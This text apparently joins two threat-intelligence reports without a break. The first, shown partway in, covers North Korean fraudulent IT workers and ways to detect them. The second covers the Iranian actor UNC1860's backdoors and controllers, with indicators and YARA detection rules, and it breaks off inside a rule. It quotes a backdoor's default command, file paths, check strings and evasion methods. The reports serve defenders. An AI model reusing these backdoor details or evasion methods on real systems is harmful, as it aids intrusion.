IT workers employ various methods for evading detection. We have observed the operators leverage front companies to disguise their true identities; additionally, U.S. government indictments show that non-North Korean individuals, known as “facilitators,” play a crucial role in enabling these IT workers in their efforts to seek and maintain employment. These individuals provide essential services that include, but are not limited to, laundering money and/or cryptocurrency, receiving and hosting company laptops at their residences, using stolen identities for employment verification, and accessing international financial systems. 

This report aims to increase awareness of the DPRK's efforts to obtain employment as IT workers and shed light on their operational tactics for obtaining employment and maintaining access to corporate systems. Understanding these methods can help organizations better detect these sorts of suspicious behaviors earlier in the hiring process. In this blog post we’ve included a sampling of the types of behaviors identified during our incident response engagements, and strategies for the detection and disruption of DPRK IT worker activity.

UNC5267

Mandiant tracks IT worker operations we have identified in various environments as UNC5267. UNC5267 remains highly active in the present day, posing an ongoing threat. Some sources suggest that the origins of these operations can be traced back to 2018. Importantly, UNC5267 is not a traditional, centralized threat group. IT workers consist of individuals sent by the North Korean government to live primarily in China and Russia, with smaller numbers in Africa and Southeast Asia. Their mission is to secure lucrative jobs within Western companies, especially those in the U.S. tech sector.

UNC5267 gains initial access through the use of stolen identities to apply for various positions or are brought in as a contractor. UNC5267 operators have primarily applied for positions that offer 100% remote work. Mandiant observed the operators engaging in work of varying complexity and difficulty spanning disparate fields and sectors. It is not uncommon for a DPRK IT worker to be working multiple jobs at once, pulling in multiple salaries on a monthly basis. One American facilitator working with the IT workers compromised more than 60 identities of U.S. persons, impacted more than 300 U.S. companies, and resulted in at least $6.8 million of revenue to be generated for the overseas IT workers from in or around October 2020 until October 2023.

UNC5267’s objectives include:

• Financial gain through illicit salary withdrawals from compromised companies

• Maintaining long-term access to victim networks for potential future financial exploitation

• Potential use of access for espionage or disruptive activity (though this hasn't been definitively observed)

Incident Response Observations

Mandiant's incident response engagements to date have primarily observed DPRK IT workers functioning within the scope of their job responsibilities. However, the remote workers often gain elevated access to modify code and administer network systems. This heightened level of access granted to fraudulent employees presents a significant security risk.

Mandiant has identified a substantial number of DPRK IT worker resumes used to apply for remote positions. In one resume from a suspected IT worker, the email address—previously observed in IT worker-related activities—was also linked to a fabricated software engineer profile hosted on Netlify, a platform often used for quickly creating and deploying websites. The profile claimed proficiency in multiple programming languages and included fake testimonials with stolen images from high-ranking professionals, likely stolen from CEOs, directors, and other software engineers’ LinkedIn profiles.

Figure 1: Observed image of threat actor resume (likely altered)

Within the suspected DPRK IT worker's Netlify page, we discovered a resume accompanied by a link to another resume hosted on Google Docs, presenting a different identity. The linked resume featured a different name, phone number, and email address compared to the information on the Netlify page. Further discrepancies between the Netlify page and the linked resume included differing universities and years of attendance, as well as variations in past job titles and company work history. However, both of the resumes included a slight variation of the phrase “I'm less about seeing myself, I'm more about the others rely on me.”

Figure 2: Resume excerpt

Figure 3: Resume excerpt

These two resumes are a small sampling of the total amount of fraudulent resumes identified by Mandiant. However, the resumes provide evidence of the DPRK IT workers utilizing multiple personas in attempts to gain employment across multiple organizations.

A recurring characteristic of resumes utilized by UNC5267 is the use of addresses based in the United States coupled with education credentials from universities outside of North America, frequently in countries such as Singapore, Japan, or Hong Kong. While possible, Mandiant noted that the acceptance rate for foreign students at many of the universities is low. This discrepancy may serve to hinder potential North American employers from verifying or contacting these overseas institutions regarding the applicant. Mandiant has also observed that the universities listed on the background check may not align with the candidate’s education background stated in their resume, including time of enrollment and completed degree programs. Furthermore, UNC5267's resumes often exhibit significant overlap with publicly available resumes or are heavily reused across multiple UNC5267 personas.  

To accomplish their duties, UNC5267 often remotely accesses victim company laptops situated within a laptop farm. These laptop farms are typically staffed with a single facilitator who is paid monthly to host numerous devices in one location. Mandiant has identified evidence that these laptops are often connected to an IP-based Keyboard Video Mouse (KVM) device, although a recurring theme across these incidents is the installation of multiple remote management tools on victim corporate laptops immediately following shipment to the farm. These indicate that the individual is connecting to their corporate system remotely via the internet, and may not be geographically located in the city, state, or even country in which they report to reside. The following is a list of remote administration tools identified during Mandiant engagements:

• GoToRemote / LogMeIn

• GoToMeeting

• Chrome Remote Desktop 

• AnyDesk 

• TeamViewer

• RustDesk

Connections to these remote management solutions primarily originated from IP addresses associated with Astrill VPN, likely originating from China or North Korea. Lastly, feedback from team members and managers who spoke with Mandiant during investigations consistently highlighted behavior patterns, such as reluctance to engage in video communication and below-average work quality exhibited by the DPRK IT worker remotely operating the laptops. 

Another common characteristic identified across Mandiant’s engagements was that DPRK IT workers typically claimed to live in one location, but requested laptop shipment to another location (laptop farm or outside enablement entity). We have observed the DPRK IT workers using the location associated with the stolen identity used for employment, including the stolen driver’s license, which often doesn’t match the location where the laptop is ultimately shipped and stored. 

Detection Methods

Mandiant highlights a number of strategies that organizations can use to identify and hinder DPRK IT worker operations based on information from trusted sources and government advisories. Countering the threat posed by North Korean cyber actors requires a multifaceted approach that combines technical defenses, user awareness training, and proactive threat hunting. Key recommendations include:

Vetting of Job Candidates

• Requiring stringent background checks, including the collection of biometric information for comparison against known identities via specialized background checking services, may deter the use of forgeries. 

• Implementing careful interview processes, such as requiring cameras to be used during interviews to ensure visual appearance matches online profiles, checking that the interviewee matches the provided identification, and asking questions to establish the consistency of a candidate's responses in line with their purported background.  

• U.S. government advisories and trusted third parties have additionally noted IT workers’ reluctance to turn on cameras and their use of fake backgrounds during interviews. 

• Training human resources departments to spot inconsistencies broadly and learn IT worker tactics, techniques, and procedures ( TTPs).

• Monitoring for the use of artificial intelligence (AI) to modify employment profile pictures.

• Mandiant has observed multiple instances in which DPRK IT workers utilized AI to modify profile pictures. 

• Impacted organizations have leveraged open-source tooling to determine if the image was created using AI.

• Require notarized proof of identity prior to employment.

Observations of Potential Technical Indicators

• Verify phone numbers to identify Voice over Internet Protocol (VoIP) phone numbers. The use of VoIP phone numbers is a common tactic used by UNC5267. 

• Verify that the corporate laptop is shipped to and subsequently geolocated where the individual reports to reside during onboarding.

• Mandiant has observed instances where the deployed corporate laptop was never geolocated in the location that the individual reported to reside.

• Monitor and restrict the use and installation of remote administration tools:

• Prevent any remote connections to company-issued computers that could subsequently access the corporate network.

• Monitor for uncommon remote admin tools. 

• Monitor for multiple remote admin tools installed on one system.

• Monitor for the use of VPN services to connect to corporate infrastructure. IP addresses associated with VPN services, such as Astrill VPN, should be further reviewed.

• Monitor for the use of “mouse jiggling” software. 

• Mandiant has observed instances of DPRK IT workers using the Caffeine mouse jiggling software to remain active across several laptops and profiles. This allows for ease of use at facilitator locations, where keeping laptops on and running are key and for the DPRK IT workers who often hold many jobs at once and need to appear online.

• Request verification of the laptop serial number at the time of IT onboarding. This information should be readily available for anyone with physical possession of their corporate device. 

• Utilize a hardware based multi-factor for multi-factor authentication to enforce physical access to corporate devices.

• Monitor and restrict the use of IP-based KVM devices. IP-based KVMs are frequently utilized by DPRK IT workers to maintain persistent remote access to corporate devices.

Ongoing Mitigation Strategies

• Consider utilizing periodic mandatory spot checks where remote employees are required to go on camera. 

• Offer continuous education for users and employees on current threats and trends, which is critical for identifying potentially malicious activity. Provide additional training on reporting suspicious activity. 

• Collaborate with information-sharing communities and security vendors to stay abreast of the latest threats and mitigation strategies.

• Require the use of U.S. banks for financial transactions to hinder IT worker efforts, as the acquisition of U.S. bank accounts is more difficult and entails stricter identity verification than those in many other countries. 

For Google SecOps Enterprise+ customers, the IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.

Mandiant also offers intelligence-led human-driven Custom Threat Hunt services to reveal ongoing or past threat actor activity in both cloud and on-premise environments. The service includes analysis tailored to the particulars of your tech stack and the threats targeting you. Learn more about Mandiant Custom Threat Hunt services.

Outlook and Implications 

North Korea's IT workforce, despite operating under significant constraints, presents a persistent and escalating cyber threat. The dual motivations behind their activities—fulfilling state objectives and pursuing personal financial gains—make them particularly dangerous. Their technical proficiency, coupled with sophisticated evasion tactics, poses a formidable challenge, especially for HR and recruiting teams tasked with identifying potential threats during the hiring process.

Given their past successes and the DPRK regime's reliance on cyber operations for revenue and strategic goals, we anticipate a continued surge in sophisticated attacks and intrusions targeting businesses globally. The IT workers continue to be particularly impactful to Western organizations, with a growing number of European organizations targeted. These attacks can lead to data breaches, financial losses, intellectual property theft, and disruption of critical services.

The activities of North Korea's IT workforce underscore the need for sustained vigilance and a proactive cybersecurity posture. While the threat is complex, a combination of robust security measures, employee awareness, and collaborative efforts can significantly enhance an organization's resilience against these malicious actors. Additionally, leveraging advanced threat detection tools and maintaining robust incident response plans are crucial for minimizing the impact of potential breaches. Collaboration with industry peers and cybersecurity agencies to share threat intelligence can further strengthen defenses against this evolving threat.

Mandiant successfully operates in this effort by leveraging partnerships either publicly or privately with key organizations and victims alike. If your organization has been affected or you have information regarding DPRK cyber operations, we can help get the information to the people that need to be protected or informed. We are all in this together.

A Google Threat Intelligence Collection featuring indicators of compromise (IOCs) related to the activity described in this post is now available for registered users.

Network IOCs

Indicator

ASN

NetBlock

Service

Location

103.244.174.154

9541

Cybernet

 

(PK)

104.129.55.3

8100

QuadraNet

 

(US)

104.206.40.138

62904

Eonix Corporation

AstrillVPN

(US)

104.223.97.2

8100

QuadraNet

 

(US)

104.223.98.2

8100

QuadraNet

 

(US)

104.243.33.74

23470

ReliableSite.Net LLC

 

(US)

104.250.148.58

53850

GorillaServers

AstrillVPN

(US)

109.82.113.75

35819

Mobily

 

(SA)

113.227.237.46

4837

China Unicom

 

(CN)

119.155.190.202

56167

Ufone

 

(PK)

123.190.56.214

4837

China Unicom

 

(CN)

155.94.255.2

8100

QuadraNet

 

(US)

174.128.251.99

46844

Sharktech

AstrillVPN

(US)

18.144.99.240

16509

Amazon.com

 

(US)

184.12.141.109

5650

Frontier Communications

 

(US)

192.119.10.67

55081

24 Shells

AstrillVPN

(US)

192.119.11.250

55081

24 Shells

AstrillVPN

(US)

192.74.247.161

54600

Peg Tech

AstrillVPN

(US)

198.135.49.154

396073

Majestic Hosting Solutions, LLC

AstrillVPN

(US)

198.2.228.20

54600

Peg Tech

AstrillVPN

(US)

198.23.148.18

36352

ColoCrossing

 

(US)

199.115.99.34

46844

Sharktech

AstrillVPN

(US)

204.188.232.195

46844

Sharktech

AstrillVPN

(US)

207.126.89.11

6939

Hurricane Electric

 

(US)

208.68.173.244

29838

Atlantic Metro Communications

 

(US)

23.105.155.2

396362

Leaseweb New York

 

(US)

23.237.32.34

174

Fdcservers

 

(US)

3.15.4.158

16509

Amazon.com

 

(US)

37.19.199.133

212238

Datacamp Limited

 

(US)

37.19.221.228

212238

Datacamp Limited

 

(US)

37.43.225.43

35819

Mobily

 

(SA)

38.140.49.92

174

Cogent Communications

AstrillVPN

(US)

38.42.94.148

27611

Starry

 

(US)

42.84.228.232

4837

China Unicom

 

(CN)

5.244.93.199

35819

Mobily

 

(SA)

50.39.182.185

27017

Ziply Fiber

 

(US)

51.39.228.134

43766

Zain Saudi Arabia

 

(SA)

54.200.217.128

16509

Amazon.com

 

(US)

60.20.1.234

4837

China Unicom

 

(CN)

66.115.157.242

46562

Performive

 

(US)

67.129.13.170

209

CenturyLink

 

(US)

67.82.9.140

6128

Optimum Online

 

(US)

68.197.75.194

6128

Optimum Online

 

(US)

70.39.103.3

46844

Sharktech

AstrillVPN

(US)

71.112.196.114

701

Verizon Fios Business

 

(US)

71.112.196.115

701

Verizon Fios Business

 

(US)

72.193.13.228

22773

Cox Communications

 

(US)

74.222.20.18

74.222.20.18

Perfect International

AstrillVPN

(US)

74.63.233.50

46475

Limestone Networks

AstrillVPN

(US)

98.179.96.75

22773

Cox Communications

 

(US)

URLs

URL

hxxps://daniel-ayala[.]netlify[.]app

Written by: Stav Shulman, Matan Mimran, Sarah Bock, Mark Lechtik

Executive Summary

UNC1860 is a persistent and opportunistic Iranian state-sponsored threat actor that is likely affiliated with Iran’s Ministry of Intelligence and Security (MOIS). A key feature of UNC1860 is its collection of specialized tooling and passive backdoors that Mandiant believes supports several objectives, including its role as a probable initial access provider and its ability to gain persistent access to high-priority networks, such as those in the government and telecommunications space throughout the Middle East.

UNC1860’s tradecraft and targeting parallels with Shrouded Snooper, Scarred Manticore, and Storm-0861, Iran-based threat actors publicly reported to have targeted the telecommunications and government sectors in the Middle East. These groups have also reportedly provided initial access for destructive and disruptive operations that targeted Israel in late October 2023 with BABYWIPER and Albania in 2022 using ROADSWEEP. Mandiant cannot independently corroborate that UNC1860 was involved in providing initial access for these operations. However, we identified specialized UNC1860 tooling including GUI-operated malware controllers, which are likely designed to facilitate hand-off operations, further supporting the initial access role played by UNC1860.

UNC1860 additionally maintains an arsenal of utilities and collection of “main-stage” passive backdoors designed to gain strong footholds into victim networks and establish persistent, long-term access. Among these main-stage backdoors includes a Windows kernel mode driver repurposed from a legitimate Iranian anti-virus software filter driver, reflecting the group’s reverse engineering capabilities of Windows kernel components and detection evasion capabilities. These capabilities demonstrate that UNC1860 is a formidable threat actor that likely supports various objectives ranging from espionage to network attack operations. As tensions continue to ebb and flow in the Middle East, we believe this actor’s adeptness in gaining initial access to target environments represents a valuable asset for the Iranian cyber ecosystem that can be exploited to answer evolving objectives as needs shift. 

Teamwork Makes the Dream Work: UNC1860’s Role as an Initial Access Provider 

Mandiant identified two custom, GUI-operated malware controllers tracked as TEMPLEPLAY and VIROGREEN that we assess were used to provide a team outside of UNC1860 remote access to victim networks. This tooling, coupled with public reporting and evidence suggesting that the group collaborates with MOIS-affiliated groups such as APT34, strengthens the assessment that UNC1860 acts as an initial access agent.

Using Sustained Access to Support Initial Access Operations

In 2020, Mandiant responded to an engagement in which UNC1860 used the victim’s network as a staging area to conduct additional scanning and exploitation operations against unrelated entities. The actor was observed scanning IP addresses predominantly located in Saudi Arabia in an attempt to identify exposed vulnerabilities. UNC1860 also used a command-line tool to validate credentials of accounts and email addresses across multiple domains belonging to Qatari and Saudi Arabian entities, and later targeted VPN servers of entities in the region. 

UNC1860 Overlaps with APT34 

Mandiant responded to several engagements in 2019 and 2020 in which organizations compromised by suspected APT34 actors were previously compromised by UNC1860. Similarly, organizations previously compromised by suspected APT34 actors were later compromised by UNC1860, suggesting the group may play a role in assisting with lateral movement. Mandiant additionally identified recent indications of operational pivoting to Iraq-based targets by both APT34-related clusters and UNC1860. 

Web Shell and Droppers 

UNC1860 web shells and droppers, such as STAYSHANTE and SASHEYAWAY, deployed and placed on compromised servers by the group after gaining initial access have the potential to be used in hand-off operations based on their functionality. In March 2024, the Israeli National Cyber Directorate was alerted to wiper activity targeting Israeli entities across various sectors in Israel, including managed service providers, local governments, and academia; technical indicators included the unique STAYSHANTE web shell and the SASHEYAWAY dropper we attribute to UNC1860.

• STAYSHANTE is typically installed using names masquerading as Windows server file names or dependencies, and is controlled by the VIROGREEN custom framework described as follows.

• SASHEYAWAY has a low detection rate that allows for the smooth execution of full passive backdoors, such as TEMPLEDOOR, FACEFACE, and SPARKLOAD, embedded within it. 

Custom, GUI-Operated Malware Controllers

UNC1860 GUI-operated malware controllers TEMPLEPLAY and VIROGREEN could provide third-party actors who have no previous knowledge of the target environment the ability to remotely access infected networks via RDP and to control previously installed malware on victim networks with ease. These controllers additionally could provide third-party operators an interface that walks operators through how to deploy custom payloads and perform other operations such as conducting internal scanning and exploitation within the target network.

Figure 1: Illustration of collaborator actor's command and control (C2 or C&C) used to utilize existing UNC1860 implant infrastructure in compromised network

TEMPLEPLAY Controller

TEMPLEPLAY (MD5: c517519097bff386dc1784d98ad93f9d) is a .NET-based controller for the TEMPLEDOOR passive backdoor. It is internally named Client Http and consists of several tabs, each one facilitating control of a separate backdoor command.

The Command Prompt Tab (Figure 2) sends a command line to execute on the target host. The default command is cmd /c 2 > &1 with parameter whoami.

Figure 2: TEMPLEPLAY GUI, Command Prompt Tab

The Upload File Tab (Figure 3) sends a file from a local path to a target path on the remote machine using a POST request. The default target path is C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS.

Figure 3: Upload File Tab

The Download File Tab (Figure 4) is used to obtain a file from a given path on the infected machine. The default path on the infected machine is C:\Programdata\1.txt.

Figure 4: Download File Tab

The Http Proxy Tab (Figure 5) allows a remote machine infected with TEMPLEDOOR to be used as a middlebox that forwards data to a chosen target server. It appears that it is primarily intended to facilitate an RDP connection with the target server, most likely in cases where the latter is not accessible directly over the internet due to network boundaries (such as a NAT or a firewall), but may be accessible via the TEMPLEDOOR infected machine.

Figure 5: HTTP Proxy Tab

The URLs Tab (Figure 6) includes URL endpoints that are used when connecting to the infected machine. An endpoint string is chosen at random from the lists defined in this tab. These endpoints correspond to the ones that are defined in the TEMPLEDOOR sample (MD5:c57e59314aee7422e626520e495effe0).

Figure 6: URLs Tab

The TEMPLEPLAY GUI also includes a Test Backdoor link, which creates a GET request with the string wOxhuoSBgpGcnLQZxipa as the relative URI and checks for the string UsEPTIkCRUwarKZfRnyjcG13DFA in the response. This corresponds to an echo \ ping mechanism that was seen in use in the TEMPLEDOOR samples (MD5:b219672bcd60ce9a81b900217b3b5864)and MD5:c57e59314aee7422e626520e495effe0).

Additional links include the Explore link that opens a new Explorer window in the host where the controller runs, and the Http Setting link points to a set of configuration parameters that pertain to the HTTP requests sent between the controller and the TEMPLEDOOR passive backdoor.

VIROGREEN Controller

VIROGREEN is a custom framework used to exploit vulnerable SharePoint servers with CVE-2019-0604 (Figure 7). The framework provides post-exploitation capabilities including scanning for and exploiting CVE-2019-0604; controlling post-exploitation payloads, backdoors (including the STAYSHANTE web shell and the BASEWALK backdoor) and tasking; controlling a compatible agent regardless of how the agent has been implanted; and executing commands and uploading/downloading files.

Additional details on TEMPLEPLAY and VIROGREEN can be found in the Technical Annex.

Figure 7: VIROGREEN GUI

UNC1860 Malware: Gaining Persistent Access 

UNC1860 gains initial access to victim environments in an opportunistic manner via the exploitation of vulnerable internet-facing servers leading to web shell deployment. After obtaining an initial foothold, the group typically deploys additional utilities and a selective suite of passive implants that are designed to be stealthier than common backdoors. These provide a higher degree of operational security by removing the dependency for classic C2 infrastructure, making detection more difficult for network defenders. Cisco and Check Point have provided extensive analysis on UNC1860’s passive implants that correspond to OATBOAT, a loader that loads and executes shellcode payloads; Fortinet additionally provided analysis regarding the Windows kernel driver, WINTAPIX, which has similar code to a malicious driver we track as TOFUDRV (Figure 8 and Figure 9). 

A key feature of UNC1860 includes its maintenance of this diverse collection of passive/listener-based utilities that support the group’s initial access and lateral movement goals. We believe the group additionally maintains a smaller collection of “main-stage” backdoors that have greater capabilities than the usual web shells and small .NET utilities that may be deployed for select high-priority victims in the telecommunications sector. These implants demonstrate the group’s keen understanding of the Windows operating system (OS) and network detection solutions, reverse engineering capabilities of Windows kernel components, and detection evasion capabilities. 

• Passive implants do not initiate outbound traffic from the victim network to a C2 server. Further, the inbound traffic containing commands or payloads can arrive from any volatile source (e.g., VPN nodes within the target country, from another victim, or even internally from another part of the victim network). This makes network monitoring more difficult. Web shells and passive implants leverage HTTPS-encrypted traffic so commands/payloads cannot be extracted from captured network traffic.

• Both passive implants TOFUDRV and TOFULOAD leverage undocumented Input/Output Control commands for communication, which requires knowledge of the OS and can lower the chances of this traffic being detected by endpoint detection and response (EDR) solutions.

• Loading drivers is a "high risk / high reward" situation as loading them without creating a critical error screen requires extensive knowledge both of the OS internals and victim environments; however, using them promises lower detection rates and possibilities akin to filtering drivers, which act as middlemen allowing for the inspection, modification, or blocking of network traffic before it reaches the device or application, as well as assets like file system objects and registry entries. 

• The passive backdoor TEMPLEDROP repurposed an Iranian AV software Windows file system filter driver named Sheed AV (MD5: 0c93cac9854831da5f761ee98bb40c37) for the purpose of protecting some of the files it deploys as well as its own file from modification.

• A .NET-based utility for defense evasion tracked as TEMPLELOCK was observed being implemented in both foothold utilities such as ROTPIPE and more complex passive implants such as TEMPLEDROP. TEMPLELOCK is capable of terminating threats associated with the Windows Event Log service and restarting the service’s operation on demand.

Figure 8: Driver file protection logic in WINTAPIX (MD5: 286bd9c2670215d3cb4790aac4552f22)

Figure 9: Driver file protection logic in TOFUDRV (MD5: b4b1e285b9f666ae7304a456da01545e)

UNC1860 Unique Artifacts Suggest Consistent Development Support

In addition to the previous observations, we identified the following recurring artifacts related to the group’s independent implementation of Base64 encoding/decoding and XOR encryption/decryption in .NET code, despite these functions being available in build-in .NET code. 

The intent of the independent implementation of these functions is not entirely clear. Nevertheless, it is highly likely that using such custom libraries bypasses common detections by EDRs and other security tools—detections designed to identify usage combinations of functions commonly seen in malware. Additionally, using these custom libraries may allow better compatibility if any of the built-in functions change in a specific version of a .NET control to ensure the group’s tooling is always compatible with its encryption and encoding schemes and/or to better help evade detection.

• We observed the same encoding method using the Base64 algorithm to encode and decode data sent between controllers and proxy servers. In several cases, we identified the reuse of a seemingly misspelled Base64 DLL using the name “bsae64” in both foothold utilities deployed via SASHEYAWAY and passive implants including TEMPLEDOOR. 

• We observed the same rolling encryption module, XORO (MD5: 57cd8e220465aa8030755d4009d0117c),dropped by the TANKSHELL utility; TUNNELBOI network tunneller capable of establishing a connection with a remote host, managing web shells on the network, and creating RDP connections; and the TEMPLEPLAY controller. 

Foothold Utilities and Backdoors and Malware Use for Longer Term Persistence

Mandiant is tracking multiple foothold utilities and backdoors used in UNC1860 initial access operations. These generally use custom obfuscation methods that can lower detection rates and make analysis more difficult by renaming strings and function names.  Additionally, we are tracking numerous code families that we consider to be UNC1860 “main-stage” implants that further increase the group’s persistence in victim environments. 

Please see the Technical Annex for more information. 

Additional Protection Information for Google Cloud Customers

For Google SecOps Enterprise+ customers, SecOps rules have been released to the Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence.

Indicators of Compromise (IOCs)

A Google Threat Intelligence Collection featuring IOCs related to the activity described in this post is now available for registered users.

MD5 Hashes

1176381da7dea356f3377a59a6f0e799

41f4732ed369f2224a422752860b0bc5

4029bc4a06638bb9ac4b8528523b72f6

126bc1c30fba27f8bf67dce4892b1e8c

0c9ff0db00f04fd4c6a9160bffd85a1d

a7693e399602eb79db537c5022dd1e01

d9719f6738dbfaa21be7f184512fe074

17b27e6aa0ab6501f11bb4d2e0f829ff

4dd6250eb2d368f500949952eb013964

69fd67c115349abb4a313230a1692642

7f5f5f290910d256e6b012f898c88bf3

c90ec587e3333dabb647ebc182673460

efe8043e1b4214640c5f7b5ddf737653

a90236e4962620949b720f647a91f101

b26d54b7da7b2bf600104f69da4ea00f

d87ca3f830b8b53fde358bb64900f6af

c50ae2c4b76f0d5724ec240568c78c4f

57cd8e220465aa8030755d4009d0117c

4b2c78bb2c439998cff0cc097a14b942

4abcf21b63781a53bbc1aa17bd8d2cbc

a3ea0d13848a104c28d035a9d518acc2

bd6464f12bb6f7f02b6ffebb363d8e5f

f89be788e4adf665acf1a8ef8fcaa133

f292e61774c267c3787fdfcace50ea7b

c11a4e4a2d484513f79bd127a0387b0c

14e54ff4805840e656efb8cd38de4751

3d5d05f230ae702c04098de512d93d48

a038975255d3dda636d86ccd307f7838

31f2369d2e38c78f5b3f2035dba07c08

c21eefc65cda49f17ddd1d243a7bffb5

c8fa0ce3ae6a13af640607ea606c55f9

2cece71e107d12ffd74b2fb24bf339a6

fa1c6f7a5e02374b9d33de2578cb3399

1e896f026246872b2feb4f8e3e093815

57c916da83cc634af22bde0ad44d0db3

07db3058e32fe5f36823dc7092cd7d5b

3dd829fb27353622eff34be1eabb8f18

1e6679cd25d1bb127a0bec665adcf21e

2e803d28809be2a0216f25126efde37b

2398a83f10329a107801d3d23d06f7cb

73fb0fe5cd96a14a4f85639223aec6a8

85427a8a47c4162b48d8dfb37440665d

a500561c0b374816972094c2aa90da2a

a65ee1a82975ee4c8d4e70219e1bfff5

ce537dd649a391e52c27a3f88a0a8912

e67687b4443f58d2b0a465e3af3caffe

b34883fb1630db43e06a38cebfa0bce2

46804472541ed61cc904cd14be18fe1d

4de802f7e61cb8c820a02e042b58b215

929b12bc9f9e5f8e854de1d46ebf40d9

f0dfb7bf01c0412891da8fa2702f4c7b

b219672bcd60ce9a81b900217b3b5864

fc90907e70f18c7f6a6b9d9599b6f97c

d1e45afbfd3424612b4a4218cc7357ef

da0085a97c38ead734885e5cced1847f

490590bfdeeedf44b3ae306409bb0d03

e86e885e6c96ac72482741d8696c17fb

ca3f0d25f7da0e8cde8e1f367451c77a

7b2fa099d51fa3885766f6d60d768748

6626dbe74acd15d06ff6900071ef240c

YARA Rules rule M_Autopatt_DropperMemonly_WINTAPIX_1 { meta: author = Mandiant description = "wintapix malware family" created = "06/26/2023" modified = "06/26/2023" version = "1.0" strings: $p00_0 = {84ec5ff5f84863f6e9[4]66458b65??4981c5[4]4d0faccf} $p00_1 = {0f16c00f11014c03c14883c1?? 4883e1??4c2bc14d8bc849c1e9??74} condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and ( ($p00_0 in (660000..690000) and $p00_1 in (9700..20000)) ) } import "pe" rule M_WINTAPIX_StringDecodingMethod_1 { meta: author = Mandiant hash1 = "286bd9c2670215d3cb4790aac4552f22" hash2 = "4dd6250eb2d368f500949952eb013964" desc = "Detects the byte pattern of a string decoding method found in the WINTAPIX driver image" strings: $a1 = { 48 89 54 24 10 48 89 4C 24 08 48 83 EC 18 C7 04 24 00 00 00 00 48 63 04 24 48 8B 4C 24 ?? 0F BE 04 01 48 8B 4C 24 ?? 0F B6 49 ?? 33 C1 48 63 0C 24 48 8B 54 24 ?? 88 04 0A 8B 04 24 FF C0 89 04 24 8B 04 24 FF C8 48 98 48 8B 4C 24 ?? 0F B6 04 01 85 C0 75 } condition: uint16(0) == 0x5A4D and filesize < 1MB and pe.subsystem == pe.SUBSYSTEM_NATIVE and all of them } import "pe" rule M_WINTAPIX_PaddedStrings_1 { meta: author = Mandiant hash1 = "286bd9c2670215d3cb4790aac4552f22" hash2 = "4dd6250eb2d368f500949952eb013964" desc = "Detects unique strings found in the WINTAPIX driver image" strings: $a1 = { CC CC CC CC CC CC CC 4E 74 44 65 6C 61 79 45 78 65 63 75 74 69 6F 6E 00 } $a2 = { CC CC CC CC CC 5C 00 } $a3 = "InitSafeBootMode" ascii fullword condition: uint16(0) == 0x5A4D and pe.subsystem == pe.SUBSYSTEM_NATIVE and filesize < 1MB and ( ( all of them and #a2 == 2 ) or pe.imphash() == "8d070a93a45ed8ba6dba6bfbe0d084e7" ) } import "dotnet" rule M_UNC1860_TEMPLEDOOR_Strings_1 { meta: author = Mandiant date = "28/02/2024" hash1 = "caffdb648a0a68cd36694f0f0c7699d7" desc = "Detects the TEMPLEDOOR family based on unique strings" comment = "Triggers on TUNNELBOI sample c517519097bff386dc1784d98ad93f9d" strings: $url = "{0}://+:{1}/{2}/" wide fullword $a1 = "+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2 PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtb DsgY2hhcnNldD1pc28tODg1OS0xIi8" wide $b1 = "Jet" wide fullword $b2 = " Ver" wide fullword $b3 = "CmD" wide fullword $c1 = "Command" wide fullword $c2 = "Upload" wide fullword $c3 = "Download" wide fullword $c4 = "Load" wide fullword $c5 = "Rundll" wide fullword $c6 = "ERROR" wide fullword condition: int16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and dotnet.is_dotnet and $url and ( $a1 or 2 of ($b*) or 5 of ($c*) ) } import "dotnet" rule M_UNC1860_TEMPLEDOOR_BytePatterns_1 { meta: author = Mandiant date = "28/02/2024" hash1 = "caffdb648a0a68cd36694f0f0c7699d7" desc = "Detects the TEMPLEDOOR family based on unique byte patterns" comment = "Triggers on TUNNELBOI sample c517519097bff386dc1784d98ad93f9d and on WINPAY sample b219672bcd60ce9a81b900217b3b5864" strings: $encode_msil = { 7E ?? ?? 00 04 1F 41 1F 61 6F ?? ?? 00 0A D2 0A 02 2C 07 02 8E 16 FE 03 2B 01 16 2C 69 16 0B 2B 0F 02 07 02 07 91 06 61 19 58 D2 9C 07 17 58 0B 07 02 8E 69 FE 04 2D E9 02 28 ?? ?? 00 0A } // Packet encoding method MSIL $encryption_key = { 54 62 2d 0c 03 45 49 15 2b 43 59 4a 4e 0c 40 } condition: int16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and dotnet.is_dotnet and any of them } rule M_OBFUSLAY_UNC1860_1 { meta: desc = "Detects the UNC1860 OBFUSLAY malware by its string decryption method" rs1 = "b66919a18322aa4ce2ad47d149b7fe38063cd3cfa2 e4062cd1a01ad6b3e47651" strings: $a1 = { FE 09 00 00 6F ?? 00 00 0A FE 0E 00 00 FE 0C 00 00 20 02 00 00 00 5B 8D ?? 00 00 01 FE 0E 01 00 20 00 00 00 00 FE 0E 04 00 38 39 00 00 00 FE 0C 01 00 FE 0C 04 00 20 02 00 00 00 5B FE 09 00 00 FE 0C 04 00 20 02 00 00 00 6F ?? 00 00 0A 20 10 00 00 00 28 ?? 00 00 0A 9C FE 0C 04 00 20 02 00 00 00 58 FE 0E 04 00 FE 0C 04 00 FE 0C 00 00 3F BA FF FF FF FE 0C 01 00 } condition: uint16(0) == 0x5A4D and all of them } rule M_APT_CRYPTOSLAY_UNC1860_1 { meta: desc = "Detects the UNC1860 CRYPTOSLAY malware by its string decryption method" rs1 = "3F2FD2DFD27BF3CAFCBF0946E308832E11A1D9C1 D98FB04AC848E023E6720F53" rs2 = "5c1a42e9baaec115df337d2f4a9dcce8d73f29375921 827e367fcba8499cdfa2" strings: $a1 = { FE 09 00 00 6F ?? 00 00 0A FE 0E 00 00 FE 0C 00 00 20 02 00 00 00 5B 8D ?? 00 00 01 FE 0E 01 00 20 00 00 00 00 FE 0E 04 00 38 39 00 00 00 FE 0C 01 00 FE 0C 04 00 20 02 00 00 00 5B FE 09 00 00 FE 0C 04 00 20 02 00 00 00 6F ?? 00 00 0A 20 10 00 00 00 28 ?? 00 00 0A 9C FE 0C 04 00 20 02 00 00 00 58 FE 0E 04 00 FE 0C 04 00 FE 0C 00 00 3F BA FF FF FF 28 